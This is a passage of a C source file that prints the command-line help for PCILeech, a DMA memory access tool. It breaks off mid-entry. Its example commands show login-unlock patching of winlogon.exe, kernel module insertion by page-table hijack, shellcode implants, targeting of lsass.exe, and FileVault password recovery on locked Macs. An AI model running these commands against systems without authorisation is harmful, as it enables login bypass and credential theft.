    "content": "// help.c : implementation related to displaying help texts.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include \"help.h\"\n#include \"util.h\"\n#include \"version.h\"\n\nVOID ShowListFiles(_In_ LPSTR szSearchPattern, _In_ DWORD cchSpaces, _In_ DWORD cchPre, _In_ DWORD cchPost)\n{\n    WIN32_FIND_DATAA data;\n    HANDLE h;\n    CHAR szSearch[MAX_PATH];\n    Util_GetFileInDirectory(szSearch, szSearchPattern);\n    h = FindFirstFileA(szSearch, &data);\n    while(h != INVALID_HANDLE_VALUE) {\n        data.cFileName[strlen(data.cFileName) - cchPost] = 0;\n        if(!cchPre || !memcmp(data.cFileName, szSearchPattern, cchPre)) {\n            printf(\"%*c%s\\n\", cchSpaces, ' ', data.cFileName + cchPre);\n        }\n        if(!FindNextFileA(h, &data)) {\n            return;\n        }\n    }\n}\n\nVOID Help_ShowGeneral()\n{\n    printf(\n        \" PCILEECH COMMAND LINE REFERENCE                                               \\n\" \\\n        \" PCILeech can run in two modes - NATIVE (default), Kernel Module Assisted (KMD)\\n\" \\\n        \" KMD mode may be triggered by supplying the option kmd and optionally cr3 / pt.\\n\" \\\n        \" If an address is supplied in the kmd option pcileech will use the already ins-\\n\" \\\n        \" erted KMD. The already inserted KMD will be left intact upon exit.  If the KMD\\n\" \\\n        \" contains a kernel mode signature the kernel module will be loaded and then un-\\n\" \\\n        \" loaded on program exit ( except for the kmdload command ).                    \\n\" \\\n        \" KMD mode may access all memory (available to the kernel of the target system).\\n\" \\\n        \" NATIVE mode may access 4GB memory if USB3380 hardware is used.                \\n\" \\\n        \" NATIVE mode may access all memory if FPGA based hardware is used such as the: \\n\" \\\n        \"   SP605/FT601, AC701/FT601 and PCIeScreamer. This mode also works for software\\n\" \\\n        \"   based acquisition methods such as Files, DumpIt, WinPmem or any other method\\n\" \\\n        \"   supported by the LeechCore library. For more information check out:         \\n\" \\\n        \"   https://github.com/ufrisk/PCILeech and  https://github.com/ufrisk/LeechCore \\n\" \\\n        \" For detailed help about a specific command type:  pcileech <command> -help    \\n\" \\\n        \" General syntax: pcileech <command> [-<optionname1> <optionvalue1>] ...        \\n\" \\\n        \" VALID COMMANDS           MODEs        [ OPTIONS ]    (REQUIREMENTS)           \\n\" \\\n        \"   none                   NATIVE,KMD                                           \\n\" \\\n        \"   info                   NATIVE,KMD                                           \\n\" \\\n        \"   dump                   NATIVE,KMD [ min, max, out ]                         \\n\" \\\n        \"   patch                  NATIVE,KMD [ min, max, sig, all, pid,vamin,vamax ]   \\n\" \\\n        \"   write                  NATIVE,KMD [ min, in ]                               \\n\" \\\n        \"   search                 NATIVE,KMD [ min, max, sig, in, all, pid,vamin,vamax]\\n\" \\\n        \"   [implant]                     KMD [ in, out, s, 0..9 ]                      \\n\" \\\n        \"   kmdload                NATIVE     [ pt, cr3 ]                               \\n\" \\\n        \"   kmdexit                       KMD                                           \\n\" \\\n        \"   mount                  NATIVE,KMD [ mount, cr3 ]                            \\n\" \\\n        \"   display                NATIVE,KMD [ min, max, pid,vamin,vamax ]             \\n\" \\\n        \"   pagedisplay            NATIVE,KMD [ min, pid,vamin,vamax ]                  \\n\" \\\n        \"   pt_phys2virt           NATIVE,KMD [ cr3, 0 ]                                \\n\" \\\n        \"   pt_virt2phys           NATIVE,KMD [ cr3, 0 ]                                \\n\" \\\n        \"   testmemread            NATIVE     [ min ]                                   \\n\" \\\n        \"   testmemreadwrite       NATIVE     [ min ]                                   \\n\" \\\n        \"   benchmark              NATIVE                                               \\n\" \\\n        \" Device specific commands and valid MODEs [ and options ] (and device):        \\n\" \\\n        \"   tlp                    NATIVE     [ in ]         (FPGA)                     \\n\" \\\n        \"   tlploop                NATIVE     [ in ]         (FPGA)                     \\n\" \\\n        \"   probe                  NATIVE     [ min, max ]   (FPGA)                     \\n\" \\\n        \"   regcfg                 NATIVE     [ in, out, min, max] (FPGA)               \\n\" \\\n        \"   pslist                 NATIVE                                               \\n\" \\\n        \"   psvirt2phys            NATIVE     [ 0, 1 ]                                  \\n\" \\\n        \"   agent-execpy           NATIVE     [ in, out ]    (Remote LeechAgent)        \\n\" \\\n        \"   agent-forensic         NATIVE     [ out ]        (Remote LeechAgent)        \\n\" \\\n        \" System specific commands and valid MODEs [ and options ]:                     \\n\" \\\n        \"   mac_fvrecover          NATIVE                    (USB3380)                  \\n\" \\\n        \"   mac_fvrecover2         NATIVE                    (USB3380)                  \\n\" \\\n        \"   mac_disablevtd         NATIVE                    (USB3380)                  \\n\" \\\n        \" External plugin commands:                                                     \\n\");\n    ShowListFiles(\"leechp_*\"PCILEECH_LIBRARY_FILETYPE, 3, 7, (DWORD)strlen(PCILEECH_LIBRARY_FILETYPE));\n    printf(\n        \" Valid options:                                                                \\n\" \\\n        \"   -device: The memory acquisition device to including config options in the   \\n\" \\\n        \"          device connection string. If option is not given the USB3380 and FPGA\\n\" \\\n        \"          will be auto-detected. For a complete list of supported devices and  \\n\" \\\n        \"          their individual config options check out the documentation for the  \\n\" \\\n        \"          LeechCore library at: https://github.com/ufrisk/LeechCore            \\n\" \\\n        \"          Affects all modes and commands.                                      \\n\" \\\n        \"          Common valid options: USB3380, FPGA, DumpIt, <memory-dump-file-name> \\n\" \\\n        \"   -remote: Connect to a remote system LeechAgent to acquire remote memory.    \\n\" \\\n        \"          This is a Windows-only feature. Specify remote host + remote user to \\n\" \\\n        \"          authenticate (or insecure if no authenciation). Kerberos-secure conn.\\n\" \\\n        \"          Example: rpc://<remote-user-spn_or_insecure>:<remote_host>           \\n\" \\\n        \"   -min : memory min address, valid range: 0x0 .. 0xffffffffffffffff           \\n\" \\\n        \"          default: 0x0                                                         \\n\" \\\n        \"   -max : memory max address, valid range: 0x0 .. 0xffffffffffffffff           \\n\" \\\n        \"          default: <max supported by device> (FPGA = no limit, USB3380 = 4GB)  \\n\" \\\n        \"   -out : name of output file.                                                 \\n\" \\\n        \"          default: pcileech-<minaddr>-<maxaddr>-<date>-<time>.raw              \\n\" \\\n        \"          No output file will be created if parameter is set to none or null.  \\n\" \\\n        \"   -all : search all memory for signature - do not stop at first occurrence.   \\n\" \\\n        \"          Option has no value. Example: -all                                   \\n\" \\\n        \"   -pid : windows process id for virtual address mode for select commands.     \\n\" \\\n        \"          Option has no default value. Example: -pid 4                         \\n\" \\\n        \"   -psname : windows process name for virtual address mode for select commands.\\n\" \\\n        \"          Option has no default value. Example: -psname lsass.exe              \\n\" \\\n        \"   -vamin: virtual memory min address for select commands. Require -pid option.\\n\" \\\n        \"          default: 0. Example: -vamin 0x10000                                  \\n\" \\\n        \"   -vamax: virtual memory max address for select commands. Require -pid option.\\n\" \\\n        \"          default: 0xffffffffffffffff. Example: -vamax 0x7fffffffffff          \\n\" \\\n        \"   -v   : verbose option. Additional information is displayed in the output.   \\n\" \\\n        \"          Affects all modes and commands. Option has no value. Example: -v     \\n\" \\\n        \"   -vv  : extra verbose option. More detailed additional information is shown  \\n\" \\\n        \"          in output. Option has no value. Example: -vv                         \\n\" \\\n        \"   -vvv : super verbose option. Show all data transferred such as PCIe TLPs.   \\n\" \\\n        \"          Option has no value. Example: -vvv                                   \\n\" \\\n        \"   -force: force reads and writes even though target memory is marked as not   \\n\" \\\n        \"          accessible. Dangerous! Affects all modes and commands.               \\n\" \\\n        \"          Option has no value. Example: -force                                 \\n\" \\\n        \"   -tlpwait: Wait in seconds while listening for PCIe TLPs.                    \\n\" \\\n        \"          Wait occurs after any other actions have been completed.             \\n\" \\\n        \"   -bar-ro: Add PCIe BAR support (read-only) in the background.                \\n\" \\\n        \"          Combine with command 'none' and option '-tlpwait'.                   \\n\" \\\n        \"          Option has no value. Example: -bar-ro                                \\n\" \\\n        \"   -bar-rw: Add PCIe BAR support (read/write) in the background.               \\n\" \\\n        \"          Combine with command 'none' and option '-tlpwait'.                   \\n\" \\\n        \"          Option has no value. Example: -bar-rw                                \\n\" \\\n        \"   -help: show help about the selected command or implant and then exit        \\n\" \\\n        \"          without running the command. Affects all modes and commands.         \\n\" \\\n        \"          Option has no value. Example: -help                                  \\n\" \\\n        \"   -hook: Where to place a hook. In case of IAT hooking (UMD*IAT*) specify as: \\n\" \\\n        \"          <imported-module>!<function-to-hook> Example: msvcrt.dll!memcpy      \\n\" \\\n        \"   -in  : file name or hexstring to load as input.                             \\n\" \\\n        \"          Examples: -in 0102030405060708090a0b0c0d0e0f or -in firmware.bin     \\n\" \\\n        \"   -s   : string input value.                                                  \\n\" \\\n        \"          Example: -s \\\"\\\\\\\\??\\\\C:\\\\Windows\\\\System32\\\\cmd.exe\\\"               \\n\" \\\n        \"   -mount : custom mount drive (Windows) or mount path (Linux)                 \\n\" \\\n        \"          Only used in conjunction with the mount command.                     \\n\" \\\n        \"          Examples: (Windows) -mount Q         (Linux) -mount /mnt/pcileech    \\n\" \\\n        \"   -0..9: QWORD input value. Example: -0 0xff , -3 0x7fffffff00001000 or -2 13 \\n\" \\\n        \"          default: 0                                                           \\n\" \\\n        \"   -pt  : trigger KMD insertion by automatic page table hijack.                \\n\" \\\n        \"          Option has no value. Example: -pt. Used in conjunction with          \\n\" \\\n        \"          -kmd option to trigger KMD insertion by page table hijack.           \\n\" \\\n        \"   -cr3 : base address of page table (PML4) / CR3 CPU register.                \\n\" \\\n        \"   -efibase : base address of EFI table when inserting select kernel modules.  \\n\" \\\n        \"          EFI_SYSTEM_TABLE(IBI SYST) == UEFI ; RUNTSERV == LINUX RUNTSERV EFI. \\n\" \\\n        \"   -memmap : specify a physical memory map given in a file or specify 'auto'.  \\n\" \\\n        \"          to use MemProcFS (Windows required on target&host)                   \\n\" \\\n        \"          example: -memmap c:\\\\temp\\\\my_custom_memory_map.txt                  \\n\" \\\n        \"          example: -memmap auto                                                \\n\" \\\n        \"   -no-kmd-mem : do not proxy memory reads/writes through an inserted KMD even \\n\" \\\n        \"          if inserted. This may somtimes increase stability and performance.   \\n\" \\\n        \"          Option has no value. Example: -no-kmd-mem                            \\n\" \\\n        \"   -kmd : address of already loaded kernel module helper (KMD).                \\n\" \\\n        \"          ALTERNATIVELY                                                        \\n\" \\\n        \"          kernel module to use, see list below for choices:                    \\n\" \\\n        \"             WIN10_X64                                                         \\n\" \\\n        \"             WIN10_X64_2                                                       \\n\" \\\n        \"             WIN10_X64_3                                                       \\n\" \\\n        \"             WIN11_X64                                                         \\n\" \\\n        \"             LINUX_X64_46        (NB! Kernels 2.6.33 - 4.6)                    \\n\" \\\n        \"             LINUX_X64_48        (NB! Kernels 4.8+)                            \\n\" \\\n        \"             LINUX_X64_MAP       (NB! Linux systems with System.map in -in arg)\\n\" \\\n        \"             LINUX_X64_EFI       (NB! UEFI booted systems only)                \\n\" \\\n        \"             FREEBSD_X64                                                       \\n\" \\\n        \"             MACOS                                                             \\n\" \\\n        \"             UEFI_EXIT_BOOT_SERVICES                                           \\n\" \\\n        \"             UEFI_SIGNAL_EVENT                                                 \\n\");\n    ShowListFiles(\"*.kmd\", 13, 0, 4);\n    printf(\n        \"   -sig : available patches - including operating system unlock patches:       \\n\");\n    ShowListFiles(\"*.sig\", 13, 0, 4);\n    printf(\n        \" User-Mode implants: EXPERIMENTAL!                                             \\n\" \\\n        \"             UMD_WINX64_IAT_PSEXEC                                             \\n\" \\\n        \" Kernel-mode implants:                                                         \\n\");\n    ShowListFiles(\"*.ksh\", 13, 0, 4);\n    printf(\"\\n\");\n}\n\nVOID Help_ShowInfo()\n{\n    printf(\n        \" PCILEECH INFORMATION                                                          \\n\" \\\n        \" PCILeech (c) 2016-2023 Ulf Frisk                                              \\n\" \\\n        \" Version: \" \\\n        VER_FILE_VERSION_STR \"\\n\" \\\n        \"                                                                               \\n\" \\\n        \" License: GNU Affero General Public License v3.0                               \\n\" \\\n        \" Contact information: pcileech@frizk.net                                       \\n\" \\\n        \" System requirements: 64-bit Windows 10, 11 or Linux.                          \\n\" \\\n        \" Other project references:                                                     \\n\" \\\n        \"   PCILeech          - https://github.com/ufrisk/pcileech                      \\n\" \\\n        \"   PCILeech-FPGA     - https://github.com/ufrisk/pcileech-fpga                 \\n\" \\\n        \"   LeechCore         - https://github.com/ufrisk/LeechCore                     \\n\" \\\n        \"   MemProcFS         - https://github.com/ufrisk/MemProcFS                     \\n\" \\\n        \"   FTDI FT601 Driver - http://www.ftdichip.com/Drivers/D3XX.htm                \\n\" \\\n        \"   Dokany            - https://github.com/dokan-dev/dokany/releases/latest     \\n\" \\\n        \" ----------------                                                              \\n\" \\\n        \"   PCILeech is free open source software. If you find it useful please         \\n\" \\\n        \"   become a sponsor at: https://github.com/sponsors/ufrisk Thank You :)        \\n\" \\\n        \" ----------------                                                              \\n\" \\\n        \" Use with memory dump files, DumpIt, WinPmem in read-only mode.                \\n\" \\\n        \" Use with USB3380 hardware programmed as a PCILeech device.                    \\n\" \\\n        \" Use with FPGA harware programmed as a PCILeech FPGA device.                   \\n\\n\" \\\n        \" ----------------                                                              \\n\" \\\n        \" Driver information (USB3380/Windows):                                         \\n\" \\\n        \"   The USB3380 HW requires a dummy driver to function properly. The PCILeech   \\n\" \\\n        \"   device masks as a Google Glass. Please download and install the Google USB  \\n\" \\\n        \"   driver before proceeding by using the USB3380 device. USB3 is recommended   \\n\" \\\n        \"   to performance reasons (USB2 will work but impact performance).             \\n\" \\\n        \" Driver information (FPGA/FT601/Windows):                                      \\n\" \\\n        \"   The PCILeech programmed FPGA board with FT601 USB3 requires drivers for USB.\\n\" \\\n        \"   The drivers are on Windows update and is installed at first use.            \\n\" \\\n        \"   PCILeech also requires the FTDI application library (DLL). Download DLL from\\n\" \\\n        \"   FTDI web site and place the 64-bit FTD3XX.dll alongside pcileech.exe.       \\n\" \\\n        \" Driver information (Dokany/Windows):                                          \\n\" \\\n        \"   To be able to use the 'mount' functionality for filesystem browsing PCILeech\\n\" \\\n        \"   requires Dokany to be installed for virtual file system support. Download   \\n\" \\\n        \"   and install Dokany on your computer before using the mount functionality.   \\n\" \\\n        \" Driver information (USB3380/FPGA/FT601/Linux):                                \\n\" \\\n        \"   PCILeech on Linux requires that libusb is installed. Libusb is most probably\\n\" \\\n        \"   installed by default, if not install by running:apt-get install libusb-1.0-0\\n\" \\\n        \" ----------------                                                              \\n\");\n    Help_ShowGeneral();\n}\n\nVOID _HelpShowExecCommand()\n{\n    BOOL result;\n    PKMDEXEC pKmdExec = NULL;\n    result = Util_LoadKmdExecShellcode(ctxMain->cfg.szShellcodeName, &pKmdExec);\n    if(!result) {\n        printf(\"HELP: Failed loading shellcode from file: '%s.ksh' ...\\n\", ctxMain->cfg.szShellcodeName);\n        return;\n    }\n    printf(\n        \" SHELLCODE IMPLANT HELP: Execute a custom implant in the target kernel.        \\n\" \\\n        \" MODES   : KMD                                                                 \\n\" \\\n        \" OPTIONS : -in, -out, -s, -0, -1, -2, -3, -4, -5, -6, -7, -8, -9               \\n\");\n    printf(\" Implant loaded from file: %s.ksh\\n\", ctxMain->cfg.szShellcodeName);\n    printf(\n        \" Implant specific help (output values are left empty/set to zero):             \\n\" \\\n        \" ============================================================================= \\n\");\n    printf(pKmdExec->szOutFormatPrintf, \"\", 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);\n    LocalFree(pKmdExec);\n}\n\nVOID Help_ShowDetailed()\n{\n    switch(ctxMain->cfg.tpAction) {\n    case DUMP:\n        printf(\n            \" DUMP MEMORY FROM TARGET SYSTEM TO FILE.                                       \\n\" \\\n            \" MODES   : NATIVE, KMD                                                         \\n\" \\\n            \" OPTIONS : -min, -max, -out, -force                                            \\n\" \\\n            \" The physical memory is dumped to file. If no file is specified in the -out    \\n\" \\\n            \" option then a default named file is created. When dumping in NATIVE mode the  \\n\" \\\n            \" max memory will be auto-detected (unless if the USB3380 hardware is used).    \\n\" \\\n            \" When dumping in KMD mode readable physical memory accessible to the kernel is \\n\" \\\n            \" dumped automatically. It is possible to override auto-detected sections with  \\n\" \\\n            \" the -min and -max options. Unreadable memory will be zero-padded.             \\n\" \\\n            \" Please note that using the -force option may result in a system crash.        \\n\" \\\n            \" The DUMP command dumps 4kB memory pages. Partial pages are not supported.     \\n\" \\\n            \" EXAMPLES:      (example kernel module is loaded at address 0x7fffe000)        \\n\" \\\n            \" 1) dump memory up to 4GB by using NATIVE mode:                                \\n\" \\\n            \"    pcileech dump                                                              \\n\" \\\n            \" 2) dump memory as seen by the kernel using kernel module:                     \\n\" \\\n            \"    pcileech dump -kmd 0x7fffe000                                              \\n\" \\\n            \" 3) dump memory between 5GB and 6GB:                                           \\n\" \\\n            \"    pcileech dump -min 0x140000000 -max 0x180000000                            \\n\" \\\n            \" 4) dump memory to file c:\\\\temp\\\\out.raw:                                     \\n\" \\\n            \"    pcileech dump -kmd 0x7fffe000 -out \\\"c:\\\\temp\\\\out.raw\\\"                   \\n\" \\\n            \" 5) dump memory from remote LeechService using DumpIt:                         \\n\" \\\n            \"    pcileech dump -device dumpit -remote rpc://userspn@ad.domain.com -out 1.dmp\\n\" \\\n        );\n        break;\n    case WRITE:\n        printf(\n            \" WRITE DATA TO TARGET SYSTEM MEMORY.                                           \\n\" \\\n            \" MODES   : NATIVE, KMD                                                         \\n\" \\\n            \" OPTIONS : -min, -in, -force, -pid, -vamin, -vamax                             \\n\" \\\n            \" WRITE will write contents specified in the -in option to the memory address   \\n\" \\\n            \" specified by the -min option. The memory address may be unaligned. It is also \\n\" \\\n            \" possible to try to write to non-accessible memory - such as PCIe memory mapped\\n\" \\\n            \" devices with the -force option. Please note that using the -force option may  \\n\" \\\n            \" result in a system crash. In KMD mode the write is performed by the target    \\n\" \\\n            \" operating system. In NATIVE mode the write is performed by the PCILeech device\\n\" \\\n            \" EXAMPLES:      (example kernel module is loaded at address 0x7fffe000)        \\n\" \\\n            \" 1) write the bytes 11223344 to the physical address 0x1003                    \\n\" \\\n            \"    pcileech write -min 0x1003 -in 11223344                                    \\n\" \\\n            \" 2) write contents in the file replace.bin to the address 0x140000000          \\n\" \\\n            \"    pcileech write -min 0x140000000 -in replace.bin -kmd 0x7fffe000            \\n\" \\\n            \" 3) write the bytes 11223344 to the protected address 0xfffe0008               \\n\" \\\n            \"    pcileech write -min 0xfffe0008 -in 11223344 -force                         \\n\" \\\n            \" 4) write the bytes 33445566 to the virtual address 7fef9c00000 (pid 1240)     \\n\" \\\n            \"    pcileech write -pid 1240 -vamin 7fef9c00000 -in 33445566                   \\n\");\n        break;\n    case PATCH:\n        printf(\n            \" PATCH THE MEMORY OF THE TARGET SYSTEM.                                        \\n\" \\\n            \" MODES   : NATIVE, KMD                                                         \\n\" \\\n            \" OPTIONS : -min, -max, -sig, -all, -force, -pid, -vamin, -vamax                \\n\" \\\n            \" Patch loads one or several signatures from the .sig file specified in the -sig\\n\" \\\n            \" option. The -sig option should be specified without file extension. The memory\\n\" \\\n            \" is scanned until the first signature match is made. The memory is then patched\\n\" \\\n            \" with new contents according to the loaded signature. After a match has been   \\n\" \\\n            \" made PCILeech exits. If all available memory should be searched for signatures\\n\" \\\n            \" please supply the -all option. The options -min and -max may also optionally  \\n\" \\\n            \" be given to limit the memory space searched. Patching is performed per 4096   \\n\" \\\n            \" byte page. Signatures spanning multiple pages are unsupported.                \\n\" \\\n            \" EXAMPLES:      (example kernel module is loaded at address 0x7fffe000)        \\n\" \\\n            \" 1) try patch the memory with the unlock_win10x64 signature (kmd not loaded)   \\n\" \\\n            \"    pcileech patch -sig unlock_win10x64                                        \\n\" \\\n            \" 2) patch the memory with the unlock_win10x64 signature (kmd loaded)           \\n\" \\\n            \"    pcileech patch -sig unlock_win10x64 -kmd 0x7fffe000                        \\n\" \\\n            \" 3) patch the memory with the unlock_win10x64 targeting pid 344 (winlogon.exe) \\n\" \\\n            \"    pcileech patch -sig unlock_win10x64 -pid 344                               \\n\" \\\n            \" 4) patch all occurences with the patch_test signature                         \\n\" \\\n            \"    pcileech patch -sig patch_test -kmd 0x7fffe000 -all                        \\n\");\n        break;\n    case SEARCH:\n        printf(\n            \" SEARCH THE MEMORY OF THE TARGET SYSTEM FOR THE GIVEN SIGNATURE.               \\n\" \\\n            \" MODES   : NATIVE, KMD                                                         \\n\" \\\n            \" OPTIONS : -min, -max, -sig, -in, -all, -force, -pid, -vamin, -vamax           \\n\" \\\n            \" Search the memory for signatures specified in the -sig or -in options. If the \\n\" \\\n            \" -sig option is specified signatures are loaded from the signature file and are\\n\" \\\n            \" search for at their fixed page offsets. If the signature is specified with the\\n\" \\\n            \" -in option the whole memory at all page offsets is searched. The memory ranges\\n\" \\\n            \" searched can be limited by supplying optional -min and -max options. It is    \\n\" \\\n            \" also possible to search restricted memory by supplying the -force option. When\\n\" \\\n            \" a signature is found the search is stopped unless the -all option is given.   \\n\" \\\n            \" Searching is performed per 4096 byte page. Signatures spanning multiple pages \\n\" \\\n            \" are unsupported.                                                              \\n\" \\\n            \" EXAMPLES:      (example kernel module is loaded at address 0x7fffe000)        \\n\" \\\n            \" 1) search for the first location that matches the unlock_win10x64 signature.  \\n\" \\\n            \"    pcileech search -sig unlock_win10x64                                       \\n\" \\\n            \" 2) search for all locations that matches the unlock_win10x64 signature.       \\n\" \\\n            \"    pcileech search -sig unlock_win10x64 -all                                  \\n\" \\\n            \" 3) search for all unlock_win10x64 locations by using a kernel module.         \\n\" \\\n            \"    pcileech search -sig unlock_win10x64 -all -kmd 0x7fffe000                  \\n\" \\\n            \" 4) search for all unlock_win10x64 targeting pid 344 (winlogon.exe)            \\n\" \\\n            \"    pcileech search -sig unlock_win10x64 -all -pid 344                         \\n\" \\\n            \" 5) search for all locations that contain the pattern 444d4152.                \\n\" \\\n            \"    pcileech search -in 444d4152 -all -kmd 0x7fffe000                          \\n\" \\\n            \" 6) search for the first location containing the pattern in the file pat.bin.  \\n\" \\\n            \"    pcileech search -in pat.bin -all -kmd 0x7fffe000                           \\n\");\n        break;\n    case MOUNT:\n        printf(\n            \" MOUNT TARGET LIVE RAM AND FILE SYSTEM AS 'NETWORK DRIVE'.                     \\n\" \\\n            \" MODES   : KMD                                                                 \\n\" \\\n            \" REQUIRE : Windows/Dokany or Linux/FUSE                                        \\n\" \\\n            \" OPTIONS : -mount                                                              \\n\" \\\n            \" Mount the target system live ram and file system as the drive letter specified\\n\" \\\n            \" in the -mount option.  If the -mount option is not specified PCILeech will try\\n\" \\\n            \" to mount the target file system as the K: drive letter.                       \\n\" \\\n            \" ------------------------------------------------------------------------------\\n\" \\\n            \" File system mount is currently supported for Windows and Linux.               \\n\" \\\n            \" See important limitations below. Use at own risk!                             \\n\" \\\n            \"  - Create file: not implemented.                                              \\n\" \\\n            \"  - Write to files may be buggy and may in rare cases corrupt the target file. \\n\" \\\n            \"  - Delete file will most often work, but with errors.                         \\n\" \\\n            \"  - Delete directory, rename/move file and other features may not be supported.\\n\" \\\n            \"  - Only the C:\\\\ drive is mounted on Windows target systems.                  \\n\" \\\n            \" The target system files are found in the files directory.    The memory of the\\n\" \\\n            \" target system is mapped into the files: liveram-kmd.raw and liveram-native.raw\\n\" \\\n            \" Writing to the live memory may crash the target system.      Copying files and\\n\" \\\n            \" dumping memory via the PCILeech virtual file system will work but  performance\\n\" \\\n            \" will be better when using the built in commandline commands.                  \\n\" \\\n            \" - Mount it only supported only when running PCILeech on Windows.              \\n\" \\\n            \" - Mount of live RAM without kernel module is only supported on FPGA hardware. \\n\" \\\n            \" EXAMPLES:      (example kernel module is loaded at address 0x7fffe000)        \\n\" \\\n            \" 1) Mount file system and live RAM of target as the default K: drive letter.   \\n\" \\\n            \"    pcileech mount -kmd 0x7fffe000                                             \\n\" \\\n            \" 2) Mount file system and live RAM of target as X: drive letter.               \\n\" \\\n            \"    pcileech mount -kmd 0x7fffe000 -mount X                                    \\n\" \\\n            \" 3) Mount live ram and proc file system only using FPGA hardware.              \\n\" \\\n            \"    pcileech mount -max 0x21e5fffff                                            \\n\" \\\n            \" 4) Mount live ram and 'proc' file system by specifying a specific CR3/PML4.   \\n\" \\\n            \"    prileech mount -cr3 0x1ab000                                               \\n\" \\\n        );\n        break;\n    case DISPLAY:\n        printf(\n            \" DISPLAY MEMORY ON SCREEN.                                                     \\n\" \\\n            \" MODES   : NATIVE, KMD                                                         \\n\" \\\n            \" OPTIONS : -min, -max (optional), -pid, -vamin, -vamax                         \\n\" \\\n            \" The memory contents between min and max is shown on screen.                   \\n\" \\\n            \" Use the -min option to specify the memory location.                           \\n\" \\\n            \" EXAMPLES:      (example kernel module is loaded at address 0x7fffe000)        \\n\" \\\n            \" 1) display memory starting at physical address 0x1000.                        \\n\" \\\n            \"    pcileech display -min 0x1000                                               \\n\" \\\n            \" 2) display memory between 0x1000 and 0x2fff.                                  \\n\" \\\n            \"    pcileech display -min 0x1000 -max 0x2fff                                   \\n\" \\\n            \" 3) display memory starting at physical address 0x140000000 (5GB).             \\n\" \\\n            \"    pcileech display -min 0x140000000 -kmd 0x7fffe000                          \\n\" \\\n            \" 4) display memory starting at virtual address 0x7fefd360000 in pid 1240       \\n\" \\\n            \"    pcileech display -pid 1240 -vamin 0x7fefd360000                            \\n\");\n        break;\n    case PAGEDISPLAY:\n        printf(\n            \" DISPLAY A MEMORY PAGE ON SCREEN.                                              \\n\" \\\n            \" MODES   : NATIVE, KMD                                                         \\n\" \\\n            \" OPTIONS : -min, -pid, -vamin, -vamax                                          \\n\" \\\n            \" The memory contents of a single page (4096 bytes) is shown on screen. Use the \\n\" \\\n            \" -min option to specify the memory location. If the -min option is not aligned \\n\" \\\n            \" the specified memory address will be truncated. It is also possible to force  \\n\" \\\n            \" reading of otherwise inaccessible memory with the -force option.              \\n\" \\\n            \" EXAMPLES:      (example kernel module is loaded at address 0x7fffe000)        \\n\" \\\n            \" 1) display the page starting at physical address 0x1000.                      \\n\" \\\n            \"    pcileech pagedisplay -min 0x1000                                           \\n\" \\\n            \" 2) display the normally restricted page at physical address 0xf0000.          \\n\" \\\n            \"    pcileech pagedisplay -min 0xf0000 -force                                   \\n\" \\\n            \" 3) display the page at address 0x140000000 (5GB).                             \\n\" \\\n            \"    pcileech pagedisplay -min 0x140000000 -kmd 0x7fffe000                      \\n\" \\\n            \" 4) display the page at virtual address 0x7fefd360000 in pid 1240              \\n\" \\\n            \"    pcileech pagedisplay -pid 1240 -vamin 0x7fefd360000                        \\n\");\n        break;\n    case TESTMEMREAD:\n    case TESTMEMREADWRITE:\n        printf(\n            \" TEST READING AND/OR READING+WRITING TO A PHYSICAL MEMORY ADDRESS.             \\n\" \\\n            \" MODES   : NATIVE                                                                 \\n\" \\\n            \" Used for debug purposes. Test reading and/or reading+writing to a physical    \\n\" \\\n            \" memory address. The address page read and optionally written to is specified  \\n\" \\\n            \" by the -min option. If the address is inside a protected range then the -force\\n\" \\\n            \" option could be specified to override. A number of reads and writes are exec- \\n\" \\\n            \" cuted. Unless there is a catastrophic failure the page is restored to its     \\n\" \\\n            \" original state after testing writes with testmemreadwrite.                    \\n\" \\\n            \" EXAMPLES:                                                                     \\n\" \\\n            \" 1) test reading from the memory address at 0x1000                             \\n\" \\\n            \"    pcileech testmemread -min 0x1000                                           \\n\" \\\n            \" 1) test reading from the normally protected address 0xf4000000                \\n\" \\\n            \"    pcileech testmemread -min 0xf4000000 -force                                \\n\" \\\n            \" 2) test reading and writing to/from the memory address 0x1000                 \\n\" \\\n            \"    pcileech testmemreadwrite -min 0x1000                                      \\n\");\n        break;\n    case KMDLOAD:\n        printf(\n            \" LOAD A KERNEL MODULE INTO THE OPERATING SYSTEM KERNEL FOR LATER USE.          \\n\" \\\n            \" MODES   : NATIVE                                                                 \\n\" \\\n            \" OPTIONS : -kmd, -pt, -cr3                                                     \\n\" \\\n            \" Load a kernel module into the running operating system kernel for later use.  \\n\" \\\n            \" The kernel module is specified in the -kmd paramter. If the specified kernel  \\n\" \\\n            \" module is generic and memory searches are supported it will be searched for   \\n\" \\\n            \" in memory. Specialized windows 10 kernel module are loaded by hi-jacking the  \\n\" \\\n            \" page table. The page table is searched for automatically with the -pt option. \\n\" \\\n            \" The page table base may also optionally be specified in the -cr3 option.      \\n\" \\\n            \" EXAMPLES:                                                                     \\n\" \\\n            \" 1) load a kernel module into Windows Vista by specifying a generic signature. \\n\" \\\n            \"    pcileech kmdload -kmd winvistax64                                          \\n\" \\\n            \" 2) load a kernel module into Linux by specifying a generic signature.         \\n\" \\\n            \"    pcileech kmdload -kmd LINUX_X64                                            \\n\" \\\n            \" 3) load a kernel module into Windows 10 by targeting a specific driver.       \\n\" \\\n            \"    pcileech kmdload -kmd win10x64_ntfs_20160716 -pt                           \\n\");\n        break;\n    case KMDEXIT:\n        printf(\n            \" UNLOAD AN ACTIVE KERNEL MODULE FROM THE TARGET SYSTEM.                        \\n\" \\\n            \" MODES   : KMD                                                                 \\n\" \\\n            \" OPTIONS :                                                                     \\n\" \\\n            \" Unload an active kernel module from the target system. The already active     \\n\" \\\n            \" kernel module is asked to terminate and clean up itself as best as possible.  \\n\" \\\n            \" After running the kmdexit command it will not be possible to access the       \\n\" \\\n            \" kernel module any more.                                                       \\n\" \\\n            \" EXAMPLES:      (example kernel module is loaded at address 0x7fffe000)        \\n\" \\\n            \" 1) unload the already loaded kernel module.                                   \\n\" \\\n            \"    pcileech kmdexit -kmd 0x7fffe000                                           \\n\");\n        break;\n    case MAC_FVRECOVER:\n        printf(\n            \" RECOVER FILEVAULT 2 PASSWORD FROM A LOCKED macOS SYSTEM.                      \\n\" \\\n            \" MODES   : NATIVE                                                              \\n\" \\\n            \" OPTIONS :                                                                     \\n\" \\\n            \" Plug in the PCILeech device to any macOS system with a Thunderbolt 2 port. You\\n\" \\\n            \" will be asked to reboot if PCILeech is ready. After the reboot PCILeech will  \\n\" \\\n            \" try to figure out the filevault 2 full disk encryption password used to unlock\\n\" \\\n            